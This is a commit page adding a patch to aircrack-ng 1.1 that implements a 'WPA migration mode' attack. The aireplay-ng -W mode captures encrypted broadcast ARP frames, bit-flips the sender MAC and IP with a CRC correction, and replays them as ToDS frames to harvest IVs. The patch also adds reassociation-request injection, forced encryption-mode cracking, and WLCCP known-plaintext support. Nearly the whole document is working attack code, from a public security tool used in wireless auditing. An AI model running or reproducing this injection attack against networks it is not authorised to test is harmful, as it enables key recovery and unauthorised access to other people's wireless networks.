summaryrefslogtreecommitdiff
path: root/net-wireless/aircrack-ng/files/diff-wpa-migration-mode-aircrack-ng.diff
diff options
context:
space:
mode:
Diffstat (limited to 'net-wireless/aircrack-ng/files/diff-wpa-migration-mode-aircrack-ng.diff')
-rw-r--r--net-wireless/aircrack-ng/files/diff-wpa-migration-mode-aircrack-ng.diff872
1 files changed, 872 insertions, 0 deletions
diff --git a/net-wireless/aircrack-ng/files/diff-wpa-migration-mode-aircrack-ng.diff b/net-wireless/aircrack-ng/files/diff-wpa-migration-mode-aircrack-ng.diff
new file mode 100644
index 00000000..5a8fd15a
--- /dev/null
+++ b/net-wireless/aircrack-ng/files/diff-wpa-migration-mode-aircrack-ng.diff
@@ -0,0 +1,872 @@
+diff -ru /tmp/aircrack-ng-1.1/src/aircrack-ng.c ./aircrack-ng.c
+--- /tmp/aircrack-ng-1.1/src/aircrack-ng.c 2010-04-09 11:50:14.000000000 -0300
++++ ./aircrack-ng.c 2010-07-12 13:13:42.000000000 -0300
+@@ -1065,6 +1065,9 @@
+
+ ap_cur->crypt = -1;
+
++ if (opt.forced_amode)
++ ap_cur->crypt = opt.amode + 1;
++
+ if (opt.do_ptw == 1)
+ {
+ ap_cur->ptw_clean = PTW_newattackstate();
+@@ -1388,13 +1391,18 @@
+
+ if( h80211[z] != h80211[z + 1] || h80211[z + 2] != 0x03 )
+ {
+- ap_cur->crypt = 2; /* encryption = WEP */
++ if( !opt.forced_amode )
++ ap_cur->crypt = 2; /* encryption = WEP */
+
+ /* check the extended IV flag */
+
+- if( ( h80211[z + 3] & 0x20 ) != 0 )
+- /* encryption = WPA */
++ if( ( h80211[z + 3] & 0x20 ) != 0 )
++ {
++ /* encryption = WPA */
++ if( !opt.forced_amode )
+ ap_cur->crypt = 3;
++ goto unlock_mx_apl;
++ }
+
+ /* check the WEP key index */
+
+@@ -1490,7 +1498,8 @@
+ goto unlock_mx_apl;
+
+ ap_cur->eapol = 0;
+- ap_cur->crypt = 3; /* set WPA */
++ if( !opt.forced_amode )
++ ap_cur->crypt = 3; /* set WPA */
+
+ if( st_cur == NULL )
+ {
+@@ -1976,6 +1985,9 @@
+ memcpy( ap_cur->bssid, bssid, 6 );
+
+ ap_cur->crypt = -1;
++
++ if (opt.forced_amode)
++ ap_cur->crypt = opt.amode + 1;
+ }
+
+ if( fmt == FORMAT_IVS )
+@@ -2202,13 +2214,18 @@
+
+ if( h80211[z] != h80211[z + 1] || h80211[z + 2] != 0x03 )
+ {
+- ap_cur->crypt = 2; /* encryption = WEP */
++ if( !opt.forced_amode )
++ ap_cur->crypt = 2; /* encryption = WEP */
+
+ /* check the extended IV flag */
+
+- if( ( h80211[z + 3] & 0x20 ) != 0 )
+- /* encryption = WPA */
++ if( ( h80211[z + 3] & 0x20 ) != 0 )
++ {
++ /* encryption = WPA */
++ if( !opt.forced_amode )
+ ap_cur->crypt = 3;
++ goto unlock_mx_apl;
++ }
+
+ /* check the WEP key index */
+
+@@ -3213,7 +3230,10 @@
+
+ pthread_mutex_unlock( &mx_ivb );
+
+- return( RESTART );
++ if (wep.nb_ivs > 0)
++ return( RESTART );
++ else
++ return( SUCCESS );
+ }
+
+ return( SUCCESS );
+@@ -4580,6 +4600,7 @@
+ opt.bssidmerge = NULL;
+ opt.oneshot = 0;
+ opt.logKeyToFile = NULL;
++ opt.forced_amode = 0;
+
+ /*
+ all_ivs = malloc( (256*256*256) * sizeof(used_iv));
+@@ -4668,6 +4689,8 @@
+ return( FAILURE );
+ }
+
++ opt.forced_amode = 1;
++
+ break;
+
+ case 'e' :
+@@ -5362,7 +5385,7 @@
+ printf("Starting PTW attack with %ld ivs.\n", ap_cur->nb_ivs_vague);
+ ret = crack_wep_ptw(ap_cur);
+
+- if( opt.oneshot == 1 && ret == FAILURE )
++ if( (opt.oneshot == 1 || wep.nb_ivs == 0) && ret == FAILURE )
+ {
+ printf( " Attack failed. Possible reasons:\n\n"
+ " * Out of luck: you must capture more IVs. Usually, 104-bit WEP\n"
+diff -ru /tmp/aircrack-ng-1.1/src/aircrack-ng.h ./aircrack-ng.h
+--- /tmp/aircrack-ng-1.1/src/aircrack-ng.h 2009-06-13 19:49:09.000000000 -0300
++++ ./aircrack-ng.h 2010-07-12 12:25:06.000000000 -0300
+@@ -148,6 +148,8 @@
+
+ char * logKeyToFile;
+
++ int forced_amode; /* signals disregarding automatic detection of encryption type */
++
+ }
+
+ opt;
+diff -ru /tmp/aircrack-ng-1.1/src/aireplay-ng.c ./aireplay-ng.c
+--- /tmp/aircrack-ng-1.1/src/aireplay-ng.c 2010-04-02 01:33:28.000000000 -0300
++++ ./aireplay-ng.c 2010-07-08 19:56:40.000000000 -0300
+@@ -93,6 +93,10 @@
+ "\x00\x00\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC" \
+ "\xBB\xBB\xBB\xBB\xBB\xBB\xC0\x00\x31\x04\x64\x00"
+
++#define REASSOC_REQ \
++ "\x20\x00\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC" \
++ "\xBB\xBB\xBB\xBB\xBB\xBB\xC0\x00\x31\x04\x64\x00\x00\x00\x00\x00\x00\x00"
++
+ #define NULL_DATA \
+ "\x48\x01\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC" \
+ "\xBB\xBB\xBB\xBB\xBB\xBB\xE0\x1B"
+@@ -171,6 +175,7 @@
+ " -e essid : set target AP SSID\n"
+ " -o npckts : number of packets per burst (0=auto, default: 1)\n"
+ " -q sec : seconds between keep-alives\n"
++" -Q : send reassociation requests\n"
+ " -y prga : keystream for shared key auth\n"
+ " -T n : exit after retry fake auth request n time\n"
+ "\n"
+@@ -213,6 +218,7 @@
+ " --caffe-latte : query a client for new IVs (-6)\n"
+ " --cfrag : fragments against a client (-7)\n"
+ " --test : tests injection and quality (-9)\n"
++" --migmode : attacks WPA migration mode (-W)\n"
+ "\n"
+ " --help : Displays this usage screen\n"
+ "\n";
+@@ -269,6 +275,8 @@
+
+ int nodetect;
+ int rtc;
++
++ int reassoc;
+ }
+ opt;
+
+@@ -1760,16 +1768,25 @@
+
+ case 6:
+
+- if( opt.a_delay == 0 )
++ if( opt.a_delay == 0 && opt.reassoc == 0 )
+ {
+ printf("\n");
+ return( 0 );
+ }
+
++ if( opt.a_delay == 0 && opt.reassoc == 1 )
++ {
++ if(opt.npackets == -1) x_send = 4;
++ state = 7;
++ challengelen = 0;
++ break;
++ }
++
+ if( time( NULL ) - tt >= opt.a_delay )
+ {
+ if(opt.npackets == -1) x_send = 4;
+- state = 0;
++ if( opt.reassoc == 1 ) state = 7;
++ else state = 0;
+ challengelen = 0;
+ break;
+ }
+@@ -1797,6 +1814,69 @@
+
+ break;
+
++ case 7:
++
++ /* sending reassociation request */
++
++ tries = 0;
++ state = 8;
++ if(opt.npackets == -1) x_send *= 2;
++ tt = time( NULL );
++
++ /* attempt to reassociate */
++
++ memcpy( h80211, REASSOC_REQ, 34 );
++ memcpy( h80211 + 4, opt.r_bssid, 6 );
++ memcpy( h80211 + 10, opt.r_smac , 6 );
++ memcpy( h80211 + 16, opt.r_bssid, 6 );
++
++ n = strlen( opt.r_essid );
++ if( n > 32 ) n = 32;
++
++ h80211[34] = 0x00;
++ h80211[35] = n;
++
++ memcpy( h80211 + 36, opt.r_essid, n );
++ memcpy( h80211 + 36 + n, RATES, 16 );
++ memcpy( h80211 + 30, capa, 2);
++
++ PCT; printf( "Sending Reassociation Request" );
++ fflush( stdout );
++ gotack=0;
++
++ for( i = 0; i < x_send; i++ )
++ {
++ if( send_packet( h80211, 52 + n ) < 0 )
++ return( 1 );
++
++ usleep(10);
++
++ if( send_packet( ackbuf, 14 ) < 0 )
++ return( 1 );
++ usleep(10);
++
++ if( send_packet( ackbuf, 14 ) < 0 )
++ return( 1 );
++ }
++
++ break;
++
++ case 8:
++
++ /* waiting for a reassociation response */
++
++ if( time( NULL ) - tt >= 5 )
++ {
++ if( x_send < 256 && (opt.npackets == -1) )
++ x_send *= 4;
++
++ state = 7;
++ challengelen = 0;
++ printf("\n");
++ }
++
++ break;
++
+ default: break;
+ }
+
+@@ -2042,6 +2122,60 @@
+
+ state = 6; /* assoc. done */
+ }
++
++ /* check if we got an reassociation response */
++
++ if( h80211[0] == 0x30 && state == 8 )
++ {
++ printf("\n");
++ state = 7; PCT;
++
++ if( caplen < 30 )
++ {
++ printf( "Error: packet length < 30 bytes\n" );
++ sleep( 3 );
++ challengelen = 0;
++ continue;
++ }
++
++ n = h80211[26] + ( h80211[27] << 8 );
++
++ if( n != 0 )
++ {
++ switch( n )
++ {
++ case 1:
++ printf( "Denied (code 1), is WPA in use ?\n" );
++ break;
++
++ case 10:
++ printf( "Denied (code 10), open (no WEP) ?\n" );
++ break;
++
++ case 12:
++ printf( "Denied (code 12), wrong ESSID or WPA ?\n" );
++ break;
++
++ default:
++ printf( "Reassociation denied (code %d)\n", n );
++ break;
++ }
++
++ sleep( 3 );
++ challengelen = 0;
++ continue;
++ }
++
++ aid=( ( (h80211[29] << 8) || (h80211[28]) ) & 0x3FFF);
++ printf( "Reassociation successful :-) (AID: %d)\n", aid );
++ deauth_wait = 3;
++ fflush( stdout );
++
++ tt = time( NULL );
++ tr = time( NULL );
++
++ state = 6; /* reassoc. done */
++ }
+ }
+ }
+
+@@ -3024,6 +3158,423 @@
+ return( 0 );
+ }
+
++int do_attack_migmode( void )
++{
++ int nb_bad_pkt;
++ int arp_off1, arp_off2;
++ int i, n, caplen, nb_arp, z;
++ long nb_pkt_read, nb_arp_tot, nb_ack_pkt;
++ uchar flip[4096];
++ uchar senderMAC[6];
++
++ time_t tc;
++ float f, ticks[3];
++ struct timeval tv;
++ struct timeval tv2;
++ struct tm *lt;
++
++ FILE *f_cap_out;
++ struct pcap_file_header pfh_out;
++ struct pcap_pkthdr pkh;
++ struct ARP_req * arp;
++
++ if ( opt.ringbuffer )
++ arp = (struct ARP_req*) malloc( opt.ringbuffer * sizeof( struct ARP_req ) );
++ else
++ arp = (struct ARP_req*) malloc( sizeof( struct ARP_req ) );
++
++ /* capture only WEP data to broadcast address */
++
++ opt.f_type = 2;
++ opt.f_subtype = 0;
++ opt.f_iswep = 1;
++ opt.f_fromds = 1;
++
++ if(getnet(NULL, 1, 1) != 0)
++ return 1;
++
++ if( memcmp( opt.f_bssid, NULL_MAC, 6 ) == 0 )
++ {
++ printf( "Please specify a BSSID (-b).\n" );
++ return( 1 );
++ }
++ /* create and write the output pcap header */
++
++ gettimeofday( &tv, NULL );
++
++ pfh_out.magic = TCPDUMP_MAGIC;
++ pfh_out.version_major = PCAP_VERSION_MAJOR;
++ pfh_out.version_minor = PCAP_VERSION_MINOR;
++ pfh_out.thiszone = 0;
++ pfh_out.sigfigs = 0;
++ pfh_out.snaplen = 65535;
++ pfh_out.linktype = LINKTYPE_IEEE802_11;
++
++ lt = localtime( (const time_t *) &tv.tv_sec );
++
++ memset( strbuf, 0, sizeof( strbuf ) );
++ snprintf( strbuf, sizeof( strbuf ) - 1,
++ "replay_arp-%02d%02d-%02d%02d%02d.cap",
++ lt->tm_mon + 1, lt->tm_mday,
++ lt->tm_hour, lt->tm_min, lt->tm_sec );
++
++ printf( "Saving ARP requests in %s\n", strbuf );
++
++ if( ( f_cap_out = fopen( strbuf, "wb+" ) ) == NULL )
++ {
++ perror( "fopen failed" );
++ return( 1 );
++ }
++
++ n = sizeof( struct pcap_file_header );
++
++ if( fwrite( &pfh_out, n, 1, f_cap_out ) != 1 )
++ {
++ perror( "fwrite failed\n" );
++ return( 1 );
++ }
++
++ fflush( f_cap_out );
++
++ printf( "You should also start airodump-ng to capture replies.\n" );
++ printf( "Remember to filter the capture to only keep WEP frames: ");
++ printf( " \"tshark -R 'wlan.wep.iv' -r capture.cap -w outcapture.cap\"\n");
++ //printf( "Remember to filter the capture to keep only broadcast From-DS frames.\n");
++
++ if(opt.port_in <= 0)
++ {
++ /* avoid blocking on reading the socket */
++ if( fcntl( dev.fd_in, F_SETFL, O_NONBLOCK ) < 0 )
++ {
++ perror( "fcntl(O_NONBLOCK) failed" );
++ return( 1 );
++ }
++ }
++
++ memset( ticks, 0, sizeof( ticks ) );
++
++ tc = time( NULL ) - 11;
++
++ nb_pkt_read = 0;
++ nb_bad_pkt = 0;
++ nb_ack_pkt = 0;
++ nb_arp = 0;
++ nb_arp_tot = 0;
++ arp_off1 = 0;
++ arp_off2 = 0;
++
++ while( 1 )
++ {
++ /* sleep until the next clock tick */
++
++ if( dev.fd_rtc >= 0 )
++ {
++ if( read( dev.fd_rtc, &n, sizeof( n ) ) < 0 )
++ {
++ perror( "read(/dev/rtc) failed" );
++ return( 1 );
++ }
++
++ ticks[0]++;
++ ticks[1]++;
++ ticks[2]++;
++ }
++ else
++ {
++ gettimeofday( &tv, NULL );
++ usleep( 1000000/RTC_RESOLUTION );
++ gettimeofday( &tv2, NULL );
++
++ f = 1000000 * (float) ( tv2.tv_sec - tv.tv_sec )
++ + (float) ( tv2.tv_usec - tv.tv_usec );
++
++ ticks[0] += f / ( 1000000/RTC_RESOLUTION );
++ ticks[1] += f / ( 1000000/RTC_RESOLUTION );
++ ticks[2] += f / ( 1000000/RTC_RESOLUTION );
++ }
++
++ if( ticks[1] > (RTC_RESOLUTION/10) )
++ {
++ ticks[1] = 0;
++ printf( "\rRead %ld packets (%ld ARPs, %ld ACKs), "
++ "sent %ld packets...(%d pps)\r",
++ nb_pkt_read, nb_arp_tot, nb_ack_pkt, nb_pkt_sent, (int)((double)nb_pkt_sent/((double)ticks[0]/(double)RTC_RESOLUTION)) );
++ fflush( stdout );
++ }
++
++ if( ( ticks[2] * opt.r_nbpps ) / RTC_RESOLUTION >= 1 )
++ {
++ /* threshold reach, send one frame */
++
++ ticks[2] = 0;
++
++ if( nb_arp > 0 )
++ {
++ if( nb_pkt_sent == 0 )
++ ticks[0] = 0;
++
++ if( send_packet( arp[arp_off1].buf,
++ arp[arp_off1].len ) < 0 )
++ return( 1 );
++
++ if( ((double)ticks[0]/(double)RTC_RESOLUTION)*(double)opt.r_nbpps > (double)nb_pkt_sent )
++ {
++ if( send_packet( arp[arp_off1].buf,
++ arp[arp_off1].len ) < 0 )
++ return( 1 );
++ }
++
++ if( ++arp_off1 >= nb_arp )
++ arp_off1 = 0;
++ }
++ }
++
++ /* read a frame, and check if it's an ARP request */
++
++ if( opt.s_file == NULL )
++ {
++ gettimeofday( &tv, NULL );
++
++ caplen = read_packet( h80211, sizeof( h80211 ), NULL );
++
++ if( caplen < 0 ) return( 1 );
++ if( caplen == 0 ) continue;
++ }
++ else
++ {
++ n = sizeof( pkh );
++
++ if( fread( &pkh, n, 1, dev.f_cap_in ) != 1 )
++ {
++ opt.s_file = NULL;
++ continue;
++ }
++
++ if( dev.pfh_in.magic == TCPDUMP_CIGAM )
++ SWAP32( pkh.caplen );
++
++ tv.tv_sec = pkh.tv_sec;
++ tv.tv_usec = pkh.tv_usec;
++
++ n = caplen = pkh.caplen;
++
++ if( n <= 0 || n > (int) sizeof( h80211 ) || n > (int) sizeof( tmpbuf ) )
++ {
++ printf( "\r\33[KInvalid packet length %d.\n", n );
++ opt.s_file = NULL;
++ continue;
++ }
++
++ if( fread( h80211, n, 1, dev.f_cap_in ) != 1 )
++ {
++ opt.s_file = NULL;
++ continue;
++ }
++
++ if( dev.pfh_in.linktype == LINKTYPE_PRISM_HEADER )
++ {
++ /* remove the prism header */
++
++ if( h80211[7] == 0x40 )
++ n = 64;
++ else
++ n = *(int *)( h80211 + 4 );
++
++ if( n < 8 || n >= (int) caplen )
++ continue;
++
++ memcpy( tmpbuf, h80211, caplen );
++ caplen -= n;
++ memcpy( h80211, tmpbuf + n, caplen );
++ }
++
++ if( dev.pfh_in.linktype == LINKTYPE_RADIOTAP_HDR )
++ {
++ /* remove the radiotap header */
++
++ n = *(unsigned short *)( h80211 + 2 );
++
++ if( n <= 0 || n >= (int) caplen )
++ continue;
++
++ memcpy( tmpbuf, h80211, caplen );
++ caplen -= n;
++ memcpy( h80211, tmpbuf + n, caplen );
++ }
++
++ if( dev.pfh_in.linktype == LINKTYPE_PPI_HDR )
++ {
++ /* remove the PPI header */
++
++ n = le16_to_cpu(*(unsigned short *)( h80211 + 2));
++
++ if( n <= 0 || n>= (int) caplen )
++ continue;
++
++ /* for a while Kismet logged broken PPI headers */
++ if ( n == 24 && le16_to_cpu(*(unsigned short *)(h80211 + 8)) == 2 )
++ n = 32;
++
++ if( n <= 0 || n>= (int) caplen )
++ continue;
++
++ memcpy( tmpbuf, h80211, caplen );
++ caplen -= n;
++ memcpy( h80211, tmpbuf + n, caplen );
++ }
++ }
++
++ nb_pkt_read++;
++
++ /* check if it's a disas. or deauth packet */
++
++ if( ( h80211[0] == 0xC0 || h80211[0] == 0xA0 ) &&
++ ! memcmp( h80211 + 4, opt.r_smac, 6 ) )
++ {
++ nb_bad_pkt++;
++
++ if( nb_bad_pkt > 64 && time( NULL ) - tc >= 10 )
++ {
++ printf( "\33[KNotice: got a deauth/disassoc packet. Is the "
++ "source MAC associated ?\n" );
++
++ tc = time( NULL );
++ nb_bad_pkt = 0;
++ }
++ }
++
++ if( h80211[0] == 0xD4 &&
++ ! memcmp( h80211 + 4, opt.f_bssid, 6 ) )
++ {
++ nb_ack_pkt++;
++ }
++
++ /* check if it's a potential ARP request */
++
++ opt.f_minlen = opt.f_maxlen = 68;
++
++ if( filter_packet( h80211, caplen ) == 0 )
++ goto add_arp;
++
++ opt.f_minlen = opt.f_maxlen = 86;
++
++ if( filter_packet( h80211, caplen ) == 0 )
++ {
++add_arp:
++ z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30;
++ if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */
++ z+=2;
++
++ switch( h80211[1] & 3 )
++ {
++ case 2: /* FromDS */
++ {
++ if(memcmp(h80211 + 4, BROADCAST, 6) == 0)
++ {
++ /* backup sender MAC */
++
++ memset( senderMAC, 0, 6 );
++ memcpy( senderMAC, h80211 + 16, 6 );
++
++ /* rewrite to a ToDS packet */
++
++ memcpy( h80211 + 4, opt.f_bssid, 6 );
++ memcpy( h80211 + 10, opt.r_smac, 6 );
++ memcpy( h80211 + 16, BROADCAST, 6 );
++
++ h80211[1] = 0x41; /* ToDS & WEP */
++ }
++ else
++ {
++ nb_arp_tot++;
++ continue;
++ }
++
++ break;
++ }
++ default:
++ continue;
++ }
++
++// h80211[0] = 0x08; /* normal data */
++
++ /* if same IV, perhaps our own packet, skip it */
++
++ for( i = 0; i < nb_arp; i++ )
++ {
++ if( memcmp( h80211 + z, arp[i].buf + arp[i].hdrlen, 4 ) == 0 )
++ break;
++ }
++
++ if( i < nb_arp )
++ continue;
++
++ if( caplen > 128)
++ continue;
++ /* add the ARP request in the ring buffer */
++
++ nb_arp_tot++;
++
++ /* Ring buffer size: by default: 8 ) */
++
++ if( nb_arp >= opt.ringbuffer && opt.ringbuffer > 0)
++ continue;
++ else {
++
++ if( ( arp[nb_arp].buf = malloc( 128 ) ) == NULL ) {
++ perror( "malloc failed" );
++ return( 1 );
++ }
++
++ memset(flip, 0, 4096);
++
++ /* flip the sender MAC to convert it into the source MAC */
++ flip[16] ^= (opt.r_smac[0] ^ senderMAC[0]);
++ flip[17] ^= (opt.r_smac[1] ^ senderMAC[1]);
++ flip[18] ^= (opt.r_smac[2] ^ senderMAC[2]);
++ flip[19] ^= (opt.r_smac[3] ^ senderMAC[3]);
++ flip[20] ^= (opt.r_smac[4] ^ senderMAC[4]);
++ flip[21] ^= (opt.r_smac[5] ^ senderMAC[5]);
++ flip[25] ^= ((rand() % 255)+1); //flip random bits in last byte of sender IP
++
++ add_crc32_plain(flip, caplen-z-4-4);
++ for(i=0; i<caplen-z-4; i++)
++ {
++ (h80211+z+4)[i] ^= flip[i];
++ }
++
++ memcpy( arp[nb_arp].buf, h80211, caplen );
++ arp[nb_arp].len = caplen;
++ arp[nb_arp].hdrlen = z;
++ nb_arp++;
++
++ pkh.tv_sec = tv.tv_sec;
++ pkh.tv_usec = tv.tv_usec;
++ pkh.caplen = caplen;
++ pkh.len = caplen;
++
++ n = sizeof( pkh );
++
++ if( fwrite( &pkh, n, 1, f_cap_out ) != 1 ) {
++ perror( "fwrite failed" );
++ return( 1 );
++ }
++
++ n = pkh.caplen;
++
++ if( fwrite( h80211, n, 1, f_cap_out ) != 1 ) {
++ perror( "fwrite failed" );
++ return( 1 );
++ }
++
++ fflush( f_cap_out );
++ }
++ }
++ }
++
++ return( 0 );
++}
++
+ int set_clear_arp(uchar *buf, uchar *smac, uchar *dmac) //set first 22 bytes
+ {
+ if(buf == NULL)
+@@ -5731,6 +6282,7 @@
+ opt.fast = 0; opt.r_smac_set = 0;
+ opt.npackets = 1; opt.nodetect = 0;
+ opt.rtc = 1; opt.f_retry = 0;
++ opt.reassoc = 0;
+
+ /* XXX */
+ #if 0
+@@ -5765,11 +6317,12 @@
+ {"help", 0, 0, 'H'},
+ {"fast", 0, 0, 'F'},
+ {"bittest", 0, 0, 'B'},
++ {"migmode", 0, 0, 'W'},
+ {0, 0, 0, 0 }
+ };
+
+ int option = getopt_long( argc, argv,
+- "b:d:s:m:n:u:v:t:T:f:g:w:x:p:a:c:h:e:ji:r:k:l:y:o:q:0:1:2345679HFBDR",
++ "b:d:s:m:n:u:v:t:T:f:g:w:x:p:a:c:h:e:ji:r:k:l:y:o:q:Q0:1:2345679HFBDRW",
+ long_options, &option_index );
+
+ if( option < 0 ) break;
+@@ -5939,6 +6492,11 @@
+ }
+ break;
+
++ case 'Q' :
++
++ opt.reassoc = 1;
++ break;
++
+ case 'p' :
+
+ ret = sscanf( optarg, "%x", &opt.r_fctrl );
+@@ -6188,6 +6746,17 @@
+ opt.a_mode = 9;
+ break;
+
++ case 'W' :
++
++ if( opt.a_mode != -1 )
++ {
++ printf( "Attack mode already specified.\n" );
++ printf("\"%s --help\" for help.\n", argv[0]);
++ return( 1 );
++ }
++ opt.a_mode = 10;
++ break;
++
+ case 'F' :
+
+ opt.fast = 1;
+@@ -6426,6 +6995,7 @@
+ case 6 : return( do_attack_caffe_latte() );
+ case 7 : return( do_attack_cfrag() );
+ case 9 : return( do_attack_test() );
++ case 10: return( do_attack_migmode() );
+ default: break;
+ }
+
+diff -ru /tmp/aircrack-ng-1.1/src/crypto.c ./crypto.c
+--- /tmp/aircrack-ng-1.1/src/crypto.c 2009-05-02 20:43:51.000000000 -0300
++++ ./crypto.c 2010-07-07 17:07:51.000000000 -0300
+@@ -438,6 +438,18 @@
+ return 0;
+ }
+
++int is_wlccp(void *wh, int len)
++{
++ int wlccpsize = 58;
++
++ if(wh) {}
++
++ if (len == wlccpsize)
++ return 1;
++
++ return 0;
++}
++
+ int is_qos_arp_tkip(void *wh, int len)
+ {
+ unsigned char *packet = (unsigned char*) wh;
+@@ -515,6 +527,29 @@
+ return 1;
+
+ }
++ else if(is_wlccp(wh, len)) /*wlccp*/
++ {
++ len = sizeof(S_LLC_SNAP_WLCCP) - 1;
++ memcpy(ptr, S_LLC_SNAP_WLCCP, len);
++ ptr += len;
++
++ /* wlccp hdr */
++ len = 4;
++ memcpy(ptr, "\x00\x32\x40\x01", len);
++ ptr += len;
++
++ /* dst mac */
++ len = 6;
++ memcpy(ptr, get_da(wh), len);
++ ptr += len;
++
++ len = ptr - ((unsigned char*)clear);
++ *clen = len;
++ if (weight)
++ weight[0] = 256;
++ return 1;
++
++ }
+ else if(is_spantree(wh)) /*spantree*/
+ {
+ len = sizeof(S_LLC_SNAP_SPANTREE) - 1;
+diff -ru /tmp/aircrack-ng-1.1/src/crypto.h ./crypto.h
+--- /tmp/aircrack-ng-1.1/src/crypto.h 2009-03-02 10:11:46.000000000 -0200
++++ ./crypto.h 2010-07-07 16:55:30.000000000 -0300
+@@ -17,6 +17,7 @@
+
+ #define S_LLC_SNAP "\xAA\xAA\x03\x00\x00\x00"
+ #define S_LLC_SNAP_ARP (S_LLC_SNAP "\x08\x06")
++#define S_LLC_SNAP_WLCCP "\xAA\xAA\x03\x00\x40\x96\x00\x00"
+ #define S_LLC_SNAP_IP (S_LLC_SNAP "\x08\x00")
+ #define S_LLC_SNAP_SPANTREE "\x42\x42\x03\x00\x00\x00\x00\x00"
+ #define S_LLC_SNAP_CDP "\xAA\xAA\x03\x00\x00\x0C\x20"